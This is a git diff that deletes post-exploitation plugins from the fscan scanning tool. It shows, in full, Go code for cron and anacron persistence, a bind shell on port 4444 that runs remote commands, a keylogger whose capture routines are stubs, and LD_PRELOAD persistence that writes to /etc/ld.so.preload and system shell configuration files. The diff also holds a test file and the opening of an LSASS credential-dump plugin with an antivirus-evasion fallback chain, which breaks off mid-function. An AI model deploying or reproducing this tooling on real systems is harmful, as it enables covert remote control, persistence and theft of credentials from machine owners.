- -// addAnacronJob 添加anacron任务 -func (p *CronTaskPlugin) addAnacronJob(execPath string) error { - anacronFile := "/etc/anacrontab" - - // 检查anacrontab是否存在 - if _, err := os.Stat(anacronFile); os.IsNotExist(err) { - return err - } - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(anacronFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, execPath) { - return nil - } - - // 添加新任务 - anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath) - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += anacronLine + "\n" - - return os.WriteFile(anacronFile, []byte(content), 0644) -} - -// generateCronJobs 生成多种cron任务 -func (p *CronTaskPlugin) generateCronJobs(execPath string) []string { - baseCmd := execPath - if p.isScriptFile() { - baseCmd = fmt.Sprintf("bash %s", execPath) - } - baseCmd += " >/dev/null 2>&1" - - return []string{ - // 每5分钟执行一次 - fmt.Sprintf("*/5 * * * * %s", baseCmd), - // 每小时执行一次 - fmt.Sprintf("0 * * * * %s", baseCmd), - // 每天执行一次 - fmt.Sprintf("0 0 * * * %s", baseCmd), - // 启动时执行 - fmt.Sprintf("@reboot %s", baseCmd), - } -} - -// isScriptFile 检查是否为脚本文件 -func (p *CronTaskPlugin) isScriptFile() bool { - ext := strings.ToLower(filepath.Ext(p.targetFile)) - return ext == ".sh" || ext == ".bash" || ext == ".zsh" -} - -// 注册插件 -func init() { - RegisterLocalPlugin("crontask", func() Plugin { - return NewCronTaskPlugin() - }) -} diff --git a/plugins/local/forwardshell.go b/plugins/local/forwardshell.go deleted file mode 100644 index 2690ff99..00000000 --- a/plugins/local/forwardshell.go +++ /dev/null @@ -1,235 +0,0 @@ -//go:build (plugin_forwardshell || !plugin_selective) && !no_local - -package local - -import ( - "bufio" - "context" - "errors" - "fmt" - "net" - "os" - "os/exec" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// ForwardShellPlugin 正向Shell插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现Shell服务功能 -// - 保持原有功能逻辑 -type ForwardShellPlugin struct { - plugins.BasePlugin - listener net.Listener -} - -// NewForwardShellPlugin 创建正向Shell插件 -func NewForwardShellPlugin() *ForwardShellPlugin { - return &ForwardShellPlugin{ - BasePlugin: plugins.NewBasePlugin("forwardshell"), - } -} - -// Scan 执行正向Shell服务 - 直接实现 -func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - state := session.State - var output strings.Builder - - // 从config获取配置 - port := config.LocalExploit.ForwardShellPort - if port <= 0 { - port = 4444 - } - - output.WriteString(i18n.GetText("forwardshell_header") + "\n") - output.WriteString(i18n.Tr("local_listen_port", port) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - // 启动正向Shell服务器 - err := p.startForwardShellServer(ctx, port, state, session) - if err != nil { - output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(i18n.GetText("forwardshell_done") + "\n") - session.LogSuccess(i18n.Tr("forwardshell_complete", port)) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// startForwardShellServer 启动正向Shell服务器 -func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State, session *common.ScanSession) error { - // 监听指定端口 - listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err) - } - defer func() { _ = listener.Close() }() - - p.listener = listener - session.LogSuccess(i18n.Tr("forwardshell_started", port)) - - // 设置正向Shell为活跃状态 - state.SetForwardShellActive(true) - defer func() { - state.SetForwardShellActive(false) - }() - - // 主循环处理连接 - for { - select { - case <-ctx.Done(): - return ctx.Err() - default: - } - - // 设置监听器超时 - if tcpListener, ok := listener.(*net.TCPListener); ok { - _ = tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) - } - - conn, err := listener.Accept() - if err != nil { - var netErr net.Error - if errors.As(err, &netErr) && netErr.Timeout() { - continue - } - session.LogError(i18n.Tr("forwardshell_accept_failed", err)) - continue - } - - session.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String())) - go p.handleClient(ctx, conn, session) - } -} - -// handleClient 处理客户端连接 -func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) { - defer func() { _ = clientConn.Close() }() - - // ctx 取消时关闭连接,解除阻塞的读操作 - go func() { - <-ctx.Done() - _ = clientConn.Close() - }() - - // 发送欢迎信息 - welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS) - _, _ = clientConn.Write([]byte(welcome)) - - // 创建命令处理器 - scanner := bufio.NewScanner(clientConn) - - for scanner.Scan() { - command := strings.TrimSpace(scanner.Text()) - - if command == "" { - continue - } - - if command == "exit" { - _, _ = clientConn.Write([]byte("Goodbye!\n")) - break - } - - // 执行命令并返回结果 - p.executeCommand(clientConn, command) - } - - if err := scanner.Err(); err != nil && ctx.Err() == nil { - session.LogError(i18n.Tr("forwardshell_read_failed", err)) - } -} - -// executeCommand 执行命令并返回结果 -func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { - var cmd *exec.Cmd - - // 根据平台创建命令 - switch runtime.GOOS { - case "windows": - cmd = exec.Command("cmd", "/c", command) - case "linux", "darwin": - cmd = exec.Command("/bin/sh", "-c", command) - default: - _, _ = fmt.Fprintln(conn, i18n.Tr("unsupported_platform", runtime.GOOS)) - return - } - - // 设置命令超时 - ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) - defer cancel() - cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...) - - // 执行命令并获取输出 - output, err := cmd.CombinedOutput() - - if ctx.Err() == context.DeadlineExceeded { - _, _ = conn.Write([]byte(i18n.GetText("command_timeout") + "\n")) - return - } - - if err != nil { - _, _ = fmt.Fprintln(conn, i18n.Tr("command_exec_failed", err)) - return - } - - // 发送命令输出 - if len(output) == 0 { - _, _ = conn.Write([]byte(i18n.GetText("command_success_no_output") + "\n")) - } else { - _, _ = conn.Write(output) - if !strings.HasSuffix(string(output), "\n") { - _, _ = conn.Write([]byte("\n")) - } - } - - // 发送命令提示符 - prompt := p.getPrompt() - _, _ = conn.Write([]byte(prompt)) -} - -// getPrompt 获取平台特定的命令提示符 -func (p *ForwardShellPlugin) getPrompt() string { - hostname, _ := os.Hostname() - username := os.Getenv("USER") - if username == "" { - username = os.Getenv("USERNAME") // Windows - } - if username == "" { - username = "user" - } - - switch runtime.GOOS { - case "windows": - return fmt.Sprintf("%s@%s> ", username, hostname) - case "linux", "darwin": - return fmt.Sprintf("%s@%s$ ", username, hostname) - default: - return fmt.Sprintf("%s@%s# ", username, hostname) - } -} - -// 注册插件 -func init() { - RegisterLocalPlugin("forwardshell", func() Plugin { - return NewForwardShellPlugin() - }) -} diff --git a/plugins/local/keylogger.go b/plugins/local/keylogger.go deleted file mode 100644 index df3f32f7..00000000 --- a/plugins/local/keylogger.go +++ /dev/null @@ -1,268 +0,0 @@ -//go:build (plugin_keylogger || !plugin_selective) && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "runtime" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// KeyloggerPlugin 键盘记录插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现键盘记录功能 -// - 保持原有功能逻辑 -type KeyloggerPlugin struct { - plugins.BasePlugin - keyBuffer []string - bufferMutex sync.RWMutex -} - -// NewKeyloggerPlugin 创建键盘记录插件 -func NewKeyloggerPlugin() *KeyloggerPlugin { - return &KeyloggerPlugin{ - BasePlugin: plugins.NewBasePlugin("keylogger"), - keyBuffer: make([]string, 0), - } -} - -// Scan 执行键盘记录 - 直接实现 -func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - // 从config获取配置 - outputFile := config.LocalExploit.KeyloggerOutputFile - if outputFile == "" { - outputFile = "keylog.txt" - } - - output.WriteString(i18n.GetText("keylogger_header") + "\n") - output.WriteString(i18n.Tr("local_output_file", outputFile) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - // 检查输出文件权限 - if err := p.checkOutputFilePermissions(outputFile); err != nil { - output.WriteString(i18n.Tr("keylogger_output_permission_failed", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 检查平台要求 - if err := p.checkPlatformRequirements(); err != nil { - output.WriteString(i18n.Tr("platform_requirement_failed", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 启动键盘记录 - err := p.startKeylogging(ctx, outputFile, session) - if err != nil { - output.WriteString(i18n.Tr("keylogger_failed", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 输出结果 - output.WriteString(i18n.GetText("keylogger_done") + "\n") - output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n") - output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n") - - session.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer))) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// startKeylogging 启动键盘记录 -func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string, session *common.ScanSession) error { - - // 根据平台启动相应的键盘记录 - var err error - switch runtime.GOOS { - case "windows": - err = p.startWindowsKeylogging(ctx) - case "linux": - err = p.startLinuxKeylogging(ctx) - case "darwin": - err = p.startDarwinKeylogging(ctx) - default: - err = fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)) - } - - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("keylogger_failed_plain"), err) - } - - // 保存到文件 - if err := p.saveKeysToFile(outputFile, session); err != nil { - session.LogError(i18n.Tr("keylogger_save_failed", err)) - } - - return nil -} - -// checkOutputFilePermissions 检查输出文件权限 -func (p *KeyloggerPlugin) checkOutputFilePermissions(outputFile string) error { - file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600) - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("output_file_create_failed", outputFile), err) - } - _ = file.Close() - return nil -} - -// checkPlatformRequirements 检查平台特定要求 -func (p *KeyloggerPlugin) checkPlatformRequirements() error { - switch runtime.GOOS { - case "windows": - return p.checkWindowsRequirements() - case "linux": - return p.checkLinuxRequirements() - case "darwin": - return p.checkDarwinRequirements() - default: - return fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)) - } -} - -// addKeyToBuffer 添加按键到缓冲区 -func (p *KeyloggerPlugin) addKeyToBuffer(key string) { - p.bufferMutex.Lock() - defer p.bufferMutex.Unlock() - - timestamp := time.Now().Format("2006-01-02 15:04:05") - entry := fmt.Sprintf("[%s] %s", timestamp, key) - p.keyBuffer = append(p.keyBuffer, entry) -} - -// saveKeysToFile 保存键盘记录到文件 -func (p *KeyloggerPlugin) saveKeysToFile(outputFile string, session *common.ScanSession) error { - p.bufferMutex.RLock() - defer p.bufferMutex.RUnlock() - - if len(p.keyBuffer) == 0 { - session.LogInfo(i18n.GetText("keylogger_no_input")) - return nil - } - - file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err) - } - defer func() { _ = file.Close() }() - - // 写入头部信息 - header := i18n.GetText("keylogger_log_header") + "\n" - header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n" - header += i18n.Tr("local_platform", runtime.GOOS) + "\n" - header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n" - header += "========================\n\n" - - if _, err := file.WriteString(header); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err) - } - - // 写入键盘记录 - for _, entry := range p.keyBuffer { - if _, err := file.WriteString(entry + "\n"); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err) - } - } - - return nil -} - -// 平台特定的键盘记录实现 - 简化版本,仅做演示 -func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { - // Windows平台键盘记录实现 - // 在实际实现中需要使用Windows API - p.addKeyToBuffer(i18n.GetText("keylogger_demo_windows")) - - // 模拟记录一段时间 - select { - case <-ctx.Done(): - return ctx.Err() - case <-time.After(5 * time.Second): - // 模拟结束 - } - - return nil -} - -func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { - // Linux平台键盘记录实现 - // 在实际实现中需要访问/dev/input/event*设备 - p.addKeyToBuffer(i18n.GetText("keylogger_demo_linux")) - - // 模拟记录一段时间 - select { - case <-ctx.Done(): - return ctx.Err() - case <-time.After(5 * time.Second): - // 模拟结束 - } - - return nil -} - -func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { - // macOS平台键盘记录实现 - // 在实际实现中需要使用Core Graphics框架 - p.addKeyToBuffer(i18n.GetText("keylogger_demo_darwin")) - - // 模拟记录一段时间 - select { - case <-ctx.Done(): - return ctx.Err() - case <-time.After(5 * time.Second): - // 模拟结束 - } - - return nil -} - -// 平台特定的要求检查 - 简化版本 -func (p *KeyloggerPlugin) checkWindowsRequirements() error { - // Windows平台要求检查 - return nil -} - -func (p *KeyloggerPlugin) checkLinuxRequirements() error { - // Linux平台要求检查 - return nil -} - -func (p *KeyloggerPlugin) checkDarwinRequirements() error { - // macOS平台要求检查 - return nil -} - -// 注册插件 -func init() { - RegisterLocalPlugin("keylogger", func() Plugin { - return NewKeyloggerPlugin() - }) -} diff --git a/plugins/local/ldpreload.go b/plugins/local/ldpreload.go deleted file mode 100644 index 9eedf466..00000000 --- a/plugins/local/ldpreload.go +++ /dev/null @@ -1,316 +0,0 @@ -//go:build (plugin_ldpreload || !plugin_selective) && linux && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// LDPreloadPlugin LD_PRELOAD持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现持久化功能 -// - 保持原有功能逻辑 -type LDPreloadPlugin struct { - plugins.BasePlugin -} - -// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件 -func NewLDPreloadPlugin() *LDPreloadPlugin { - return &LDPreloadPlugin{ - BasePlugin: plugins.NewBasePlugin("ldpreload"), - } -} - -// Scan 执行LD_PRELOAD持久化 - 直接实现 -func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - if runtime.GOOS != "linux" { - output.WriteString(i18n.GetText("ldpreload_linux_only") + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), - } - } - - // 从config获取配置 - targetFile := config.PersistenceTargetFile - if targetFile == "" { - output.WriteString(i18n.GetText("persistence_file_required") + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), - } - } - - // 检查目标文件是否存在 - if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 检查文件类型 - if !p.isValidFile(targetFile) { - output.WriteString(i18n.Tr("ldpreload_so_required", targetFile) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.GetText("invalid_file_type")), - } - } - - output.WriteString(i18n.GetText("ldpreload_header") + "\n") - output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - var successCount int - - // 1. 复制文件到系统目录 - systemPath, err := p.copyToSystemPath(targetFile) - if err != nil { - output.WriteString(i18n.Tr("ldpreload_copy_system_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("file_copied_to", systemPath) + "\n") - successCount++ - } - - // 2. 添加到全局环境变量 - err = p.addToEnvironment(systemPath) - if err != nil { - output.WriteString(i18n.Tr("ldpreload_env_add_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("ldpreload_env_added") + "\n") - successCount++ - } - - // 3. 添加到shell配置文件 - shellConfigs, err := p.addToShellConfigs(systemPath) - if err != nil { - output.WriteString(i18n.Tr("ldpreload_shell_add_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("ldpreload_shell_added", strings.Join(shellConfigs, ", ")) + "\n") - successCount++ - } - - // 4. 创建库配置文件 - err = p.createLdConfig(systemPath) - if err != nil { - output.WriteString(i18n.Tr("ldpreload_config_create_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("ldpreload_config_created") + "\n") - successCount++ - } - - // 输出统计 - output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n") - - if successCount > 0 { - session.LogSuccess(i18n.Tr("ldpreload_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// copyToSystemPath 复制文件到系统目录 -func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) { - // 选择合适的系统目录 - systemDirs := []string{ - "/usr/lib/x86_64-linux-gnu", - "/usr/lib64", - "/usr/lib", - "/lib/x86_64-linux-gnu", - "/lib64", - "/lib", - } - - var targetDir string - for _, dir := range systemDirs { - if _, err := os.Stat(dir); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("%s", i18n.GetText("ldpreload_system_lib_dir_not_found")) - } - - // 生成目标路径 - basename := filepath.Base(targetFile) - if !strings.HasPrefix(basename, "lib") { - basename = "lib" + basename - } - if !strings.HasSuffix(basename, ".so") { - basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so" - } - - targetPath := filepath.Join(targetDir, basename) - - // 复制文件 - err := p.copyFile(targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置权限 - _ = os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件 -func (p *LDPreloadPlugin) copyFile(src, dst string) error { - cmd := exec.Command("cp", src, dst) - return cmd.Run() -} - -// addToEnvironment 添加到全局环境变量 -func (p *LDPreloadPlugin) addToEnvironment(libPath string) error { - envFile := "/etc/environment" - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(envFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath) - if strings.Contains(content, libPath) { - return nil // 已存在 - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += ldPreloadLine + "\n" - - // 写入文件 - return os.WriteFile(envFile, []byte(content), 0644) -} - -// addToShellConfigs 添加到shell配置文件 -func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) { - configFiles := []string{ - "/etc/bash.bashrc", - "/etc/profile", - "/etc/zsh/zshrc", - } - - ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath) - var modified []string - - for _, configFile := range configFiles { - if _, err := os.Stat(configFile); os.IsNotExist(err) { - continue - } - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(configFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, libPath) { - continue - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += ldPreloadLine + "\n" - - // 写入文件 - if err := os.WriteFile(configFile, []byte(content), 0644); err == nil { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("%s", i18n.GetText("ldpreload_shell_config_modify_none")) - } - - return modified, nil -} - -// createLdConfig 创建ld预加载配置 -func (p *LDPreloadPlugin) createLdConfig(libPath string) error { - configFile := "/etc/ld.so.preload" - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(configFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, libPath) { - return nil - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += libPath + "\n" - - // 写入文件 - return os.WriteFile(configFile, []byte(content), 0644) -} - -// isValidFile 检查文件类型 -func (p *LDPreloadPlugin) isValidFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - - // 检查扩展名 - if ext == ".so" || ext == ".elf" { - return true - } - - // 检查文件内容(ELF魔数) - file, err := os.Open(filePath) - if err != nil { - return false - } - defer func() { _ = file.Close() }() - - header := make([]byte, 4) - if n, err := file.Read(header); err != nil || n < 4 { - return false - } - - // ELF魔数: 0x7f 0x45 0x4c 0x46 - return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46 -} - -// 注册插件 -func init() { - RegisterLocalPlugin("ldpreload", func() Plugin { - return NewLDPreloadPlugin() - }) -} diff --git a/plugins/local/local_pure_test.go b/plugins/local/local_pure_test.go deleted file mode 100644 index c271121e..00000000 --- a/plugins/local/local_pure_test.go +++ /dev/null @@ -1,152 +0,0 @@ -//go:build linux && !no_local - -package local - -import ( - "os" - "path/filepath" - "strings" - "testing" - - "github.com/shadow1ng/fscan/common" -) - -func TestLocalPluginConstructors(t *testing.T) { - tests := []struct { - name string - got Plugin - }{ - {name: "cleaner", got: NewCleanerPlugin()}, - {name: "crontask", got: NewCronTaskPlugin()}, - {name: "forwardshell", got: NewForwardShellPlugin()}, - {name: "keylogger", got: NewKeyloggerPlugin()}, - {name: "ldpreload", got: NewLDPreloadPlugin()}, - {name: "reverseshell", got: NewReverseShellPlugin()}, - {name: "socks5proxy", got: NewSocks5ProxyPlugin()}, - {name: "sshkey", got: NewSSHKeyPlugin()}, - {name: "systemdservice", got: NewSystemdServicePlugin()}, - {name: "systeminfo", got: NewSystemInfoPlugin()}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if tt.got == nil { - t.Fatal("constructor returned nil") - } - if got := tt.got.Name(); got != tt.name { - t.Fatalf("Name() = %q, want %q", got, tt.name) - } - }) - } -} - -func TestCronTaskScriptDetectionAndJobs(t *testing.T) { - plugin := NewCronTaskPlugin() - for _, name := range []string{"agent.sh", "agent.bash", "agent.zsh"} { - plugin.targetFile = name - if !plugin.isScriptFile() { - t.Fatalf("%s should be treated as script", name) - } - } - - plugin.targetFile = "agent.bin" - if plugin.isScriptFile() { - t.Fatal("binary target should not be treated as script") - } - - plugin.targetFile = "agent.sh" - jobs := plugin.generateCronJobs("/tmp/agent.sh") - if len(jobs) != 4 { - t.Fatalf("job count = %d, want 4", len(jobs)) - } - for _, job := range jobs { - if !strings.Contains(job, "bash /tmp/agent.sh >/dev/null 2>&1") { - t.Fatalf("script cron job missing bash wrapper: %q", job) - } - } -} - -func TestLDPreloadValidFileDetection(t *testing.T) { - dir := t.TempDir() - plugin := NewLDPreloadPlugin() - - soPath := filepath.Join(dir, "libhook.so") - if err := os.WriteFile(soPath, []byte("not actually elf"), 0600); err != nil { - t.Fatal(err) - } - if !plugin.isValidFile(soPath) { - t.Fatal(".so file should be accepted by extension") - } - - elfPath := filepath.Join(dir, "payload.bin") - if err := os.WriteFile(elfPath, []byte{0x7f, 'E', 'L', 'F', 0x02}, 0600); err != nil { - t.Fatal(err) - } - if !plugin.isValidFile(elfPath) { - t.Fatal("ELF magic file should be accepted") - } - - textPath := filepath.Join(dir, "payload.txt") - if err := os.WriteFile(textPath, []byte("plain text"), 0600); err != nil { - t.Fatal(err) - } - if plugin.isValidFile(textPath) { - t.Fatal("plain text file should not be accepted") - } -} - -func TestKeyloggerBufferAndFileHelpers(t *testing.T) { - dir := t.TempDir() - path := filepath.Join(dir, "keys.log") - session := common.NewScanSession(common.NewConfig(), common.NewState(), &common.FlagVars{}) - plugin := NewKeyloggerPlugin() - - if err := plugin.checkOutputFilePermissions(path); err != nil { - t.Fatalf("checkOutputFilePermissions error = %v", err) - } - if _, err := os.Stat(path); err != nil { - t.Fatalf("output file was not created: %v", err) - } - - if err := plugin.saveKeysToFile(path, session); err != nil { - t.Fatalf("save empty keys error = %v", err) - } - - plugin.addKeyToBuffer("A") - plugin.addKeyToBuffer("B") - if len(plugin.keyBuffer) != 2 { - t.Fatalf("key buffer length = %d, want 2", len(plugin.keyBuffer)) - } - if err := plugin.saveKeysToFile(path, session); err != nil { - t.Fatalf("save keys error = %v", err) - } - content, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - if !strings.Contains(string(content), "A") || !strings.Contains(string(content), "B") { - t.Fatalf("saved key log missing entries: %q", content) - } -} - -func TestShellUtilityHelpers(t *testing.T) { - prompt := NewForwardShellPlugin().getPrompt() - if !strings.HasSuffix(prompt, "$ ") && !strings.HasSuffix(prompt, "> ") && !strings.HasSuffix(prompt, "# ") { - t.Fatalf("unexpected prompt suffix: %q", prompt) - } - - if dir := getCurrentDir(); dir == "" || dir == "unknown" { - t.Fatalf("getCurrentDir() = %q", dir) - } - - pub, priv, err := NewSSHKeyPlugin().generateKeyPair() - if err != nil { - t.Fatalf("generateKeyPair error = %v", err) - } - if !strings.HasPrefix(pub, "ssh-ed25519 ") { - t.Fatalf("public key should be ssh-ed25519, got %q", pub) - } - if !strings.Contains(priv, "OPENSSH PRIVATE KEY") { - t.Fatal("private key should be OpenSSH PEM") - } -} diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go deleted file mode 100644 index 29e41e26..00000000 --- a/plugins/local/minidump.go +++ /dev/null @@ -1,591 +0,0 @@ -//go:build (plugin_minidump || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "errors" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - "syscall" - "time" - "unsafe" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" - "golang.org/x/sys/windows" -) - -const ( - TH32CS_SNAPPROCESS = 0x00000002 - INVALID_HANDLE_VALUE = ^uintptr(0) - MAX_PATH = 260 - PROCESS_ALL_ACCESS = 0x1F0FFF - SE_PRIVILEGE_ENABLED = 0x00000002 -) - -type PROCESSENTRY32 struct { - dwSize uint32 - cntUsage uint32 - th32ProcessID uint32 - th32DefaultHeapID uintptr - th32ModuleID uint32 - cntThreads uint32 - th32ParentProcessID uint32 - pcPriClassBase int32 - dwFlags uint32 - szExeFile [MAX_PATH]uint16 -} - -type LUID struct { - LowPart uint32 - HighPart int32 -} - -type LUID_AND_ATTRIBUTES struct { - Luid LUID - Attributes uint32 -} - -type TOKEN_PRIVILEGES struct { - PrivilegeCount uint32 - Privileges [1]LUID_AND_ATTRIBUTES -} - -// MiniDumpPlugin 内存转储插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现内存转储功能 -// - 保持原有功能逻辑 -type MiniDumpPlugin struct { - plugins.BasePlugin - kernel32 *syscall.DLL - dbghelp *syscall.DLL - advapi32 *syscall.DLL -} - -// ProcessManager Windows进程管理器 -type ProcessManager struct { - kernel32 *syscall.DLL - dbghelp *syscall.DLL - advapi32 *syscall.DLL -} - -// NewMiniDumpPlugin 创建内存转储插件 -func NewMiniDumpPlugin() *MiniDumpPlugin { - return &MiniDumpPlugin{ - BasePlugin: plugins.NewBasePlugin("minidump"), - } -} - -// Scan 执行凭据提取——降级链:直接dump → comsvcs.dll → reg save -func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - _ = session.Config - _ = session.State - defer func() { - if r := recover(); r != nil { - session.LogError(i18n.Tr("minidump_panic", r)) - } - }() - - var output strings.Builder - - // 检查管理员权限 - if !p.isAdmin() { - return &plugins.Result{Success: false, Output: i18n.GetText("minidump_admin_required") + "\n", Error: errors.New(i18n.GetText("minidump_admin_required"))} - } - - if err := p.loadSystemDLLs(); err != nil { - return &plugins.Result{Success: false, Output: i18n.Tr("minidump_load_dll_failed", err) + "\n", Error: err} - } - defer p.releaseSystemDLLs() - - pm := &ProcessManager{kernel32: p.kernel32, dbghelp: p.dbghelp, advapi32: p.advapi32} - avActive := p.isAVBlocking() - - // 方式1:直接 MiniDumpWriteDump(无杀软时尝试) - if !avActive { - output.WriteString(i18n.GetText("minidump_try_direct") + "\n") - if ok := p.tryDirectDump(ctx, pm, &output, session); ok { - return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} - } - } else { - output.WriteString(i18n.GetText("minidump_av_skip_direct") + "\n") - } - - // 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截) - output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n") - if ok := p.tryComsvcsDump(pm, &output, session); ok { - return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} - } - - // 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS) - output.WriteString(i18n.GetText("minidump_try_regsave") + "\n") - if ok := p.tryRegSave(&output, session); ok { - return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} - } - - 